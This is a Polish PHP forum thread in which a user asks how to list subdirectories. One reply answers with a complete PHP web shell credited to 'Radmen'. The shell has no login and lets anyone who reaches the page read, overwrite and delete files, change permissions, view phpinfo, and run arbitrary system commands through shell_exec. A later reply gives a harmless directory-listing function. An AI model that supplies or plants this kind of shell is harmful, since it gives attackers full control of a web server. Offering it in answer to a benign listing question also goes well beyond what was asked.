Forum Programowanie c++, delphi Ostatnio aktywny: Nigdy
Nie zalogowany [Zaloguj ]
Pokaż koniec
Wersja do druku | Zapisz | Dodaj do Ulubionych   Wyślij nową wiadomość Sonda:
Autor: Temat: penetracja katalogu
MitS
Top Coder
***


Avatar


Postów: 384
Zarejestrowano: 1-1-2006
Miasto: Olsztyn
Offline

Nastrój: Uhahany

[*] wysłano w 8-9-2006 o godz. 15:29 Odpowiedz cytując
penetracja katalogu



Witam!

Mam problem, otóż próbuje napisać skrypt php, który by wypisywał katalogi w katalogu. Np.
folder główny: AAA
podfolder: bbb
pod folder: ccc

i miał by wypisywać w przeglądarce nazwy katalogów bbb i ccc gdyż one są w katalogu wcześniej ustalonym AAA.

Jak takie coś wykonać ??
Męcze się z tym od 4 godzin i niestety wszystkie moje próbu zakończone fiaskiem.

Będę wdzieczny za pomoc.
Pozdrawiam




Pokaż profil użytkownika E-Mail Użytkownika Pokaż wszystkie wiadomości użytkownika Użytkownik U2U MitS's Aim Ten użytkownik posiada komunikator Gadu-Gadu
Lexus
Coder
***


Avatar


Postów: 125
Zarejestrowano: 17-12-2005
Miasto: Wrocław
Offline


[*] wysłano w 8-9-2006 o godz. 17:20 Odpowiedz cytując


Bardzo fajny skrypt pana Radmena :) Polecam analize...

Kod:


<?php
if($_GET['action'] == 'info') {
phpinfo();
}
$url = $_SERVER["REQUEST_URI"]."&action=info";
echo '<a href="'.$url.'" target="_blank">php info()</a><br>';
echo("<form method=\"post\">
katalog/plik: <input size=\"60\" type=\"text\" name=\"file\" size=\"20\" value=\"$file\"><br>
chmod: <input size=\"4\" type=\"text\" name=\"chmod\" maxlength=\"4\" value=\"".$_POST['chmod']."\"><br>
<input type=\"submit\" value=\"Poka? plik\" name=\"what\">
<input type=\"submit\" value=\"Zapisz do pliku\" name=\"what\">
<input type=\"submit\" value=\"Katalog\" name=\"what\">
<input type=\"submit\" value=\"Usu? plik\" name=\"what\"> <input type=\"submit\" value=\"Info\" name=\"what\"> <input type=\"submit\" value=\"Nowy katalog\" name=\"what\"> <input type=\"submit\" value=\"Usu? katalog\" name=\"what\"> <input type=\"submit\" value=\"Chmod\" name=\"what\"><input type=\"submit\" value=\"shell\" name=\"what\"><br>
<textarea rows=20 cols=70 name='zawartosc' style='width: 100%'>");
switch($what)
{
case 'Poka? plik':
if(!@readfile("$file")) {
echo "Nie ma takiego pliku";
}
break;
case 'Zapisz do pliku':
$zawartosc = stripslashes($zawartosc);
$zawartosc = str_replace("\n", "", $zawartosc);
$plik = fopen($file, "w+");
flock($plik, 2);
fputs($plik, $zawartosc);
flock($plik, 3);
fclose($plik);
readfile($file);
break;
case 'Katalog':
if(trim($file) == null) {
$file = "./";
}
if(!preg_match("/./i", $file)) {
$file = "./".$file;
}
if($handle = @opendir($file))
{
while($pliki = readdir($handle)) {
echo $pliki."\n";
// Je?eli wylistowane pliki s? katalogami to zostanie wyswietlona ich zawartosc
if(is_dir($file."/".$pliki) && $pliki != "." && $pliki != "..") {
if($handle2 = @opendir($file."/".$pliki)) {
while($sub = readdir($handle2)) {
if($sub != "." && $sub != "..") {
echo "&nbsp;&nbsp;|-".$sub;
if(is_dir($file."/".$pliki."/".$sub)) {
echo " [dir]";
}
echo "\n";
}
}
closedir($handle2);
}
else {
echo '[dir - blad podczas wylistowania]';
}
}
}
closedir($handle);
}
else
{
echo 'Nie ma takiego katalogu';
}
break;
case 'Usu? plik':
if(@unlink($file)) {
echo("Plik Zosta? SKASOWANY!!! Teraz ju? go nie odzyskasz...");
} else {
echo("Nie uda?o si? skasowac pliku...");
}
break;
case 'Info':
echo("Wersja PHP: ".phpversion()."\n");
echo("Software: ".$_SERVER['SERVER_SOFTWARE']."\n");
echo("Platforma: ".$_ENV['OS']."\n");
break;
case 'Nowy katalog':
if(@mkdir($file)) {
echo("Zosta? stworzony nowy katalog");
} else {
echo("Wyst?pi?y problemy przy tworzeniu katalogu");
}
break;
case 'Usu? katalog':
if(@rmdir($file)) {
echo("Skasowano katalog");
} else {
echo("Nie uda?o si? skasowa? katalogu, mo?e sa w nim jakies pliki?");
}
break;
case 'Chmod':
$chmod = $_POST['chmod'];
if(strlen($chmod) == "3") {
$chmod = "0".$chmod;
}
if(@chmod($file, $chmod)) {
echo "Uda?o si? zmieni? chmody!\n";
echo 'Chmody pliku zosta?y zmienione na: '.$chmod;
} else {
echo 'Niestety nie uda?o si? zmieni? chmodów...';
}
break;
case 'shell':
echo(shell_exec($file));
break;
}

?>


[Wyedytowany dnia 8-9-2006 > Lexus]
Pokaż profil użytkownika Pokaż wszystkie wiadomości użytkownika Użytkownik U2U Lexus's Aim Ten użytkownik posiada komunikator Gadu-Gadu
MitS
Top Coder
***


Avatar


Postów: 384
Zarejestrowano: 1-1-2006
Miasto: Olsztyn
Offline

Nastrój: Uhahany

[*] wysłano w 9-9-2006 o godz. 16:43 Odpowiedz cytując


ooo super :) bede miał co robić wieczorem :)
Pozdrawiam




Pokaż profil użytkownika E-Mail Użytkownika Pokaż wszystkie wiadomości użytkownika Użytkownik U2U MitS's Aim Ten użytkownik posiada komunikator Gadu-Gadu
klimatem
Newbie
*




Postów: 2
Zarejestrowano: 3-9-2008
Offline


[*] wysłano w 26-9-2008 o godz. 14:06 Odpowiedz cytując


Proponuję sprawę trochę uprościć:
Kod:
function read_catalog($dir) { $wynik['dir'] = array(); $wynik['file'] = array(); $dir = str_replace(' ', '_', $dir); if (is_dir($dir)) { if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if ( is_dir( $dir . $file . '/') ) { $wynik['dir'][] = $file; } else { if (substr($file, 0, 1)!='.'&& $file!='index.html' && $file!='index.php') $wynik['file'][] = $file; } } } } } return $wynik; }
Funkcja zwraca listę plików i katalogów z lokalizacji $dir. Jeśli chcesz zagłębić się w katalogi wystarczy wywołać ją rekurencyjnie.



Pokaż profil użytkownika Pokaż wszystkie wiadomości użytkownika Użytkownik U2U
Wyślij nową wiadomość Sonda:


Pokaż początek

Sitemap
Copyright © 2005-2007 by coding-portal.com
Programowaniedla każdego. Programowanie w c++, java, delphi, pascal, perl oraz innych językach. Tworzenie stron w html, xhtml, php z użyciem mysql, css oraz ich pozycjonowanie. Zapraszamy do udziału w życiu naszego forum!
[zapytań: 15]
[PHP: 78.9% - SQL: 21.1%]